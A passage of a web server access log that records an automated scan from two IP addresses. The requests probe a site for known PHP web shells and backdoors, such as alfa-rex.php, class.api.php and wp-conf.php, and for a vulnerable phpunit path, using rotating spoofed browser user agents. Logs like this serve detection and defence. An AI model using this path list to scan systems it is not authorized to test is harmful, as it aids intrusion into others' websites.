301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:23:06 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:06 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:23:07 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:07 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:07 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:08 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:08 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:08 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:08 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:08 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:08 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:08 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:08 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:23:08 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:08 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:08 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:09 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:23:09 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:09 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:09 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:10 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:10 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:23:10 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET 